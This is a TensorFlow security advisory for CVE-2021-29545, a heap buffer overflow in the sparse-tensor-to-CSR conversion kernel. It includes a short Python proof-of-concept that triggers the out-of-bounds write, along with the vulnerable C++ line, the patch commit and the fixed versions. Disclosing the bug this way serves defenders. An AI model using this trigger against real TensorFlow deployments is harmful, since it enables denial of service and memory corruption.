## TFSA-2021-033: Heap buffer overflow in `SparseTensorToCSRSparseMatrix`

### CVE Number
CVE-2021-29545

### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in
converting sparse tensors to CSR Sparse matrices:

```python
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops

indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]

st = tf.SparseTensor(indices_array, value_array, dense_shape)

values_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
       st.indices, st.values, st.dense_shape)
```

This is because the
[implementation](https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66)
does a double redirection to access an element of an array allocated on the
heap:

```cc
csr_row_ptr(indices(i, 0) + 1) += 1;
```

If the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the
bounds of `csr_row_ptr`, this results in writing outside of bounds of heap
allocated data.

### Patches
We have patched the issue in GitHub commit
[1e922ccdf6bf46a3a52641f99fd47d54c1decd13](https://github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
